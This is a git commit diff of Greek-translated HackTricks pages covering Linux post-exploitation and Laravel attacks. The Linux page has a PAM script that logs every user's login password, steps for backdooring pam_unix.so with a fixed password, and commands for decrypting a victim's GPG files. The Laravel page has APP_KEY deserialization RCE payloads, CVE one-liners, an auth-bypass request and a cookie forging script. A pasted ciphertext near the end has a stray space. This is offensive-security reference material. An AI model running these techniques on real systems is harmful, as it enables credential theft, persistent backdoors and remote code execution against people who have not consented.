mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/linux-post-exploitation/README.md',
This commit is contained in:
parent
a644f27aad
commit
db026462c1
@ -4,22 +4,22 @@
|
||||
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
Ας ρυθμίσουμε ένα module PAM για να καταγράφουμε κάθε κωδικό πρόσβασης που χρησιμοποιεί κάθε χρήστης για να συνδεθεί. Αν δεν ξέρετε τι είναι το PAM, ελέγξτε:
|
||||
Ας διαμορφώσουμε ένα PAM module για να καταγράφει κάθε password που κάθε χρήστης χρησιμοποιεί για login. Αν δεν ξέρεις τι είναι το PAM, έλεγξε:
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**Για περισσότερες λεπτομέρειες, ελέγξτε την [αρχική ανάρτηση](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Αυτό είναι απλώς μια περίληψη:
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Αυτό είναι απλώς μια σύνοψη:
|
||||
|
||||
**Επισκόπηση Τεχνικής:**
|
||||
Τα Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση της αυθεντικοποίησης σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια προσαρμόζοντας τις διαδικασίες σύνδεσης, αλλά επίσης ενδέχεται να θέσουν κινδύνους αν χρησιμοποιηθούν λανθασμένα. Αυτή η περίληψη περιγράφει μια τεχνική για την καταγραφή διαπιστευτηρίων σύνδεσης χρησιμοποιώντας το PAM, μαζί με στρατηγικές μετριασμού.
|
||||
**Technique Overview:**
|
||||
Τα Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση της authentication σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια επιτρέποντας προσαρμογή των διαδικασιών login, αλλά επίσης ενέχουν κινδύνους αν χρησιμοποιηθούν κακόβουλα. Αυτή η σύνοψη περιγράφει μια τεχνική για τη σύλληψη login credentials μέσω PAM, μαζί με στρατηγικές μετριασμού.
|
||||
|
||||
**Καταγραφή Διαπιστευτηρίων:**
|
||||
**Capturing Credentials:**
|
||||
|
||||
- Ένα script bash με όνομα `toomanysecrets.sh` έχει δημιουργηθεί για να καταγράφει τις προσπάθειες σύνδεσης, καταγράφοντας την ημερομηνία, το όνομα χρήστη (`$PAM_USER`), τον κωδικό πρόσβασης (μέσω stdin) και τη διεύθυνση IP του απομακρυσμένου υπολογιστή (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`.
|
||||
- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη ρύθμιση PAM (`common-auth`) χρησιμοποιώντας το module `pam_exec.so` με επιλογές για ήσυχη εκτέλεση και έκθεση του διαπιστευτηρίου αυθεντικοποίησης στο script.
|
||||
- Η προσέγγιση δείχνει πώς ένας συμβιβασμένος Linux host μπορεί να εκμεταλλευτεί για να καταγράψει διαπιστευτήρια διακριτικά.
|
||||
- Ένα bash script με όνομα `toomanysecrets.sh` δημιουργείται για να καταγράφει απόπειρες login, αποθηκεύοντας την ημερομηνία, το username (`$PAM_USER`), το password (μέσω stdin) και το remote host IP (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`.
|
||||
- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη PAM configuration (`common-auth`) χρησιμοποιώντας το `pam_exec.so` module με επιλογές για σιωπηλή εκτέλεση και για την παροχή του authentication token στο script.
|
||||
- Η προσέγγιση δείχνει πώς ένας compromised Linux host μπορεί να εκμεταλλευτεί για να καταγράψει credentials διακριτικά.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -31,23 +31,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**Για περισσότερες λεπτομέρειες, ελέγξτε την [αρχική ανάρτηση](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Αυτό είναι απλώς μια περίληψη:
|
||||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Αυτό είναι απλώς μια περίληψη:
|
||||
|
||||
Το Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται κάτω από το Linux για την αυθεντικοποίηση χρηστών. Λειτουργεί σε τρεις κύριες έννοιες: **όνομα χρήστη**, **κωδικός πρόσβασης** και **υπηρεσία**. Τα αρχεία ρύθμισης παραμέτρων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου οι κοινές βιβλιοθήκες διαχειρίζονται την αυθεντικοποίηση.
|
||||
The Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται σε Linux για τον έλεγχο ταυτότητας χρηστών. Λειτουργεί με τρεις κύριες έννοιες: **username**, **password**, και **service**. Τα αρχεία ρυθμίσεων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου shared libraries αναλαμβάνουν τον έλεγχο ταυτότητας.
|
||||
|
||||
**Στόχος**: Να τροποποιηθεί το PAM ώστε να επιτρέπει την αυθεντικοποίηση με έναν συγκεκριμένο κωδικό πρόσβασης, παρακάμπτοντας τον πραγματικό κωδικό πρόσβασης του χρήστη. Αυτό εστιάζει ιδιαίτερα στη κοινή βιβλιοθήκη `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται σχεδόν από όλες τις υπηρεσίες για την επαλήθευση κωδικών πρόσβασης.
|
||||
**Objective**: Τροποποιήστε το PAM ώστε να επιτρέπει έλεγχο ταυτότητας με έναν συγκεκριμένο κωδικό, παρακάμπτοντας τον πραγματικό κωδικό χρήστη. Αυτό επικεντρώνεται ιδιαίτερα στη shared library `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται από σχεδόν όλες τις υπηρεσίες για την επαλήθευση κωδικού.
|
||||
|
||||
### Βήματα για την Τροποποίηση του `pam_unix.so`:
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **Εντοπίστε την Κατεύθυνση Αυθεντικοποίησης** στο αρχείο `common-auth`:
|
||||
- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού πρόσβασης ενός χρήστη καλεί το `pam_unix.so`.
|
||||
2. **Τροποποιήστε τον Πηγαίο Κώδικα**:
|
||||
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που θα παραχωρεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός πρόσβασης, διαφορετικά, θα προχωρά στη συνήθη διαδικασία αυθεντικοποίησης.
|
||||
3. **Επανασυναρμολόγηση και Αντικατάσταση** της τροποποιημένης βιβλιοθήκης `pam_unix.so` στον κατάλληλο κατάλογο.
|
||||
4. **Δοκιμή**:
|
||||
- Η πρόσβαση παραχωρείται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό πρόσβασης, ενώ οι κανονικές διαδικασίες αυθεντικοποίησης παραμένουν ανεπηρέαστες.
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού ενός χρήστη καλεί το `pam_unix.so`.
|
||||
2. **Modify Source Code**:
|
||||
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που χορηγεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός, διαφορετικά συνεχίζει με τη συνήθη διαδικασία ελέγχου ταυτότητας.
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- Η πρόσβαση χορηγείται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό, ενώ οι κανονικές διαδικασίες ελέγχου ταυτότητας παραμένουν ανεπηρέαστες.
|
||||
|
||||
> [!TIP]
|
||||
> Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
|
||||
Εάν βρείτε ένα κρυπτογραφημένο `.gpg` αρχείο και τον φάκελο `~/.gnupg` ενός χρήστη (pubring, private-keys, trustdb) αλλά δεν μπορείτε να το αποκρυπτογραφήσετε λόγω permissions/locks στο GnuPG homedir, αντιγράψτε το keyring σε μια εγγράψιμη τοποθεσία και χρησιμοποιήστε το ως GPG home.
|
||||
|
||||
Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (επειδή το GPG δεν μπορεί να διαβάσει/γράψει τον αρχικό homedir).
|
||||
|
||||
Workflow:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
Εάν το secret key material είναι παρόν στο `private-keys-v1.d`, το GPG θα ξεκλειδώσει και θα αποκρυπτογραφήσει χωρίς να ζητήσει passphrase (ή θα ζητήσει αν το key είναι προστατευμένο).
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -10,8 +10,8 @@
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC ακεραιότητα στο παρασκήνιο (`Illuminate\\Encryption\\Encrypter`).
|
||||
Ο ακατέργαστος κρυπτογραφημένος κώδικας που τελικά **αποστέλλεται στον πελάτη** είναι **Base64 ενός αντικειμένου JSON** όπως:
|
||||
Το Laravel χρησιμοποιεί AES-256-CBC (ή GCM) με HMAC για ακεραιότητα υπό το καπό (`Illuminate\\Encryption\\Encrypter`).
|
||||
Το raw ciphertext που τελικά **αποστέλλεται στον client** είναι **Base64 ενός JSON αντικειμένου** όπως:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,9 +20,9 @@
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` θα `serialize()` το απλό κείμενο από προεπιλογή, ενώ
|
||||
`decrypt($payload, $unserialize=true)` **θα αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή.
|
||||
Επομένως **οποιοσδήποτε επιτιθέμενος που γνωρίζει το 32-byte μυστικό `APP_KEY` μπορεί να δημιουργήσει ένα κρυπτογραφημένο PHP serialized αντικείμενο και να αποκτήσει RCE μέσω μαγικών μεθόδων (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` θα κάνει `serialize()` το plaintext από προεπιλογή, ενώ
|
||||
`decrypt($payload, $unserialize=true)` **θα κάνει αυτόματα `unserialize()`** την αποκρυπτογραφημένη τιμή.
|
||||
Επομένως **οποιοσδήποτε attacker που γνωρίζει το 32-byte secret `APP_KEY` μπορεί να κατασκευάσει ένα encrypted PHP serialized object και να αποκτήσει RCE μέσω magic methods (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Ελάχιστο PoC (framework ≥9.x):
|
||||
```php
|
||||
@ -31,12 +31,12 @@ use Illuminate\Support\Facades\Crypt;
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Εισάγετε τη παραγόμενη συμβολοσειρά σε οποιαδήποτε ευάλωτη `decrypt()` πηγή (παράμετρος διαδρομής, cookie, συνεδρία, …).
|
||||
Εισάγετε την παραγόμενη συμβολοσειρά σε οποιοδήποτε ευάλωτο `decrypt()` sink (route param, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) αυτοματοποιεί ολόκληρη τη διαδικασία και προσθέτει μια βολική λειτουργία **bruteforce**:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) αυτοματοποιεί όλη τη διαδικασία και προσθέτει μια βολική **bruteforce** λειτουργία:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Το σενάριο υποστηρίζει διαφανώς τόσο τα payloads CBC όσο και GCM και αναγεννά το πεδίο HMAC/tag.
|
||||
Το script υποστηρίζει διαφανώς τόσο CBC όσο και GCM payloads και επαναδημιουργεί το πεδίο HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Πραγματικοί ευάλωτοι τύποι
|
||||
## Πραγματικά ευάλωτα πρότυπα
|
||||
|
||||
| Έργο | Ευάλωτη πηγή | Αλυσίδα gadget |
|
||||
| Έργο | Ευάλωτο sink | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie όταν είναι ενεργοποιημένο το `Passport::withCookieSerialization()` | Laravel/RCE9 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie όταν `Passport::withCookieSerialization()` είναι enabled | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
Η ροή εκμετάλλευσης είναι πάντα:
|
||||
1. Αποκτήστε ή σπάστε το 32-byte `APP_KEY`.
|
||||
2. Δημιουργήστε μια αλυσίδα gadget με **PHPGGC** (για παράδειγμα `Laravel/RCE13`, `Laravel/RCE9` ή `Laravel/RCE15`).
|
||||
3. Κρυπτογραφήστε το σειριακό gadget με **laravel_crypto_killer.py** και το ανακτηθέν `APP_KEY`.
|
||||
4. Παραδώστε το ciphertext στην ευάλωτη πηγή `decrypt()` (παράμετρος διαδρομής, cookie, συνεδρία …) για να ενεργοποιήσετε το **RCE**.
|
||||
Η διαδικασία εκμετάλλευσης είναι πάντα:
|
||||
1. Αποκτήστε ή brute-force το 32-byte `APP_KEY`.
|
||||
2. Κατασκευάστε ένα gadget chain με **PHPGGC** (για παράδειγμα `Laravel/RCE13`, `Laravel/RCE9` ή `Laravel/RCE15`).
|
||||
3. Κρυπτογραφήστε το σειριοποιημένο gadget με **laravel_crypto_killer.py** και το ανακτημένο `APP_KEY`.
|
||||
4. Παραδώστε το ciphertext στο ευάλωτο `decrypt()` sink (route parameter, cookie, session …) για να ενεργοποιήσετε **RCE**.
|
||||
|
||||
Παρακάτω παρατίθενται συνοπτικές γραμμές που δείχνουν τη πλήρη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:
|
||||
Παρακάτω υπάρχουν συνοπτικά one-liners που δείχνουν την πλήρη διαδρομή επίθεσης για κάθε πραγματικό CVE που αναφέρθηκε παραπάνω:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -82,41 +82,83 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
|
||||
Επειδή κάθε νέα Laravel απόκριση ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** τα οποία μπορούν να επιτεθούν offline.
|
||||
|
||||
Key findings of the research published by Synacktiv (2024-2025):
|
||||
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
|
||||
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
Όταν το PHP έχει `register_argc_argv=On` (τυπικό σε πολλές διανομές), το PHP εκθέτει έναν πίνακα `argv` για HTTP requests που προέρχεται από το query string. Πρόσφατες εκδόσεις Laravel parsed αυτά τα “CLI-like” args και σεβάστηκαν το `--env=<value>` κατά το runtime. Αυτό επιτρέπει να αλλάξετε το framework environment για το τρέχον HTTP request απλώς προσθέτοντάς το σε οποιοδήποτε URL:
|
||||
|
||||
- Quick check:
|
||||
- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.
|
||||
|
||||
- Impact example (business logic trusting a special env):
|
||||
- Αν η εφαρμογή περιέχει διακλαδώσεις όπως `if (app()->environment('preprod')) { /* bypass auth */ }`, μπορείτε να συνδεθείτε χωρίς έγκυρα διαπιστευτήρια στέλνοντας το login POST στο:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- Notes:
|
||||
- Ισχύει ανά-request, χωρίς μόνιμη επίδραση.
|
||||
- Απαιτεί `register_argc_argv=On` και μια ευάλωτη έκδοση Laravel που διαβάζει argv για HTTP.
|
||||
- Χρήσιμο primitive για να εμφανιστούν πιο verbose errors σε “debug” envs ή για να ενεργοποιηθούν environment-gated code paths.
|
||||
|
||||
- Mitigations:
|
||||
- Disable `register_argc_argv` for PHP-FPM/Apache.
|
||||
- Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes.
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie
|
||||
## Laravel Tricks
|
||||
|
||||
Επειδή κάθε νέα απάντηση του Laravel ρυθμίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια κρυπτογραφημένα κείμενα** που μπορούν να επιτεθούν εκτός σύνδεσης.
|
||||
### Λειτουργία εντοπισμού σφαλμάτων
|
||||
|
||||
Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025):
|
||||
* Σύνολο δεδομένων Ιουλίου 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k)
|
||||
* Σύνολο δεδομένων Μαΐου 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα**
|
||||
* >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε παλαιά CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα.
|
||||
* Μεγάλη επαναχρησιμοποίηση κλειδιών – οι Top-10 APP_KEYs είναι σκληρά κωδικοποιημένες προεπιλογές που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Το ιδιωτικό εργαλείο Go **nounours** προωθεί την ταχύτητα brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια προσπάθειες/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη συλλογή δεδομένων σε <2 λεπτά.
|
||||
|
||||
|
||||
## Τέχνασμα Laravel
|
||||
|
||||
### Λειτουργία αποσφαλμάτωσης
|
||||
|
||||
Εάν το Laravel είναι σε **λειτουργία αποσφαλμάτωσης**, θα μπορείτε να έχετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\
|
||||
Για παράδειγμα `http://127.0.0.1:8000/profiles`:
|
||||
Εάν το Laravel βρίσκεται σε **λειτουργία εντοπισμού σφαλμάτων**, θα μπορείτε να αποκτήσετε πρόσβαση στον **κώδικα** και σε **ευαίσθητα δεδομένα**.\ Για παράδειγμα `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Αυτό συνήθως απαιτείται για την εκμετάλλευση άλλων CVEs RCE του Laravel.
|
||||
Συνήθως αυτό χρειάζεται για την εκμετάλλευση άλλων Laravel RCE CVEs.
|
||||
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
|
||||
Γρήγοροι έλεγχοι για να αναγνωρίσετε ένα Laravel stack και επικίνδυνα dev εργαλεία εκτεθειμένα σε production:
|
||||
|
||||
- `/_ignition/health-check` → Ignition παρόν (debug tool που χρησιμοποιείται από CVE-2021-3129). Αν είναι προσβάσιμο χωρίς authentication, η εφαρμογή μπορεί να βρίσκεται σε debug ή να είναι λανθασμένα διαμορφωμένη.
|
||||
- `/_debugbar` → Laravel Debugbar assets· συχνά υποδεικνύει λειτουργία debug.
|
||||
- `/telescope` → Laravel Telescope (dev monitor). Αν είναι δημόσιο, αναμένετε ευρεία αποκάλυψη πληροφοριών και πιθανές ενέργειες.
|
||||
- `/horizon` → Queue dashboard· αποκάλυψη έκδοσης και μερικές φορές ενέργειες προστατευμένες με CSRF.
|
||||
- `X-Powered-By`, cookies `XSRF-TOKEN` και `laravel_session`, καθώς και Blade error pages βοηθούν επίσης στο fingerprinting.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται `.env` το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env`
|
||||
Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφεί τα cookies και άλλα credentials μέσα σε ένα αρχείο με όνομα `.env` που μπορεί να προσπελαστεί χρησιμοποιώντας κάποιο path traversal στο: `/../.env`
|
||||
|
||||
Το Laravel θα δείξει επίσης αυτές τις πληροφορίες μέσα στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο).
|
||||
Το Laravel θα εμφανίσει επίσης αυτές τις πληροφορίες μέσα στη debug page (που εμφανίζεται όταν το Laravel βρει ένα σφάλμα και είναι ενεργοποιημένη).
|
||||
|
||||
Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε cookies:
|
||||
Χρησιμοποιώντας το secret APP_KEY του Laravel μπορείτε να decrypt και να re-encrypt τα cookies:
|
||||
|
||||
### Αποκρυπτογράφηση Cookie
|
||||
### Decrypt Cookie
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
@ -171,30 +213,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
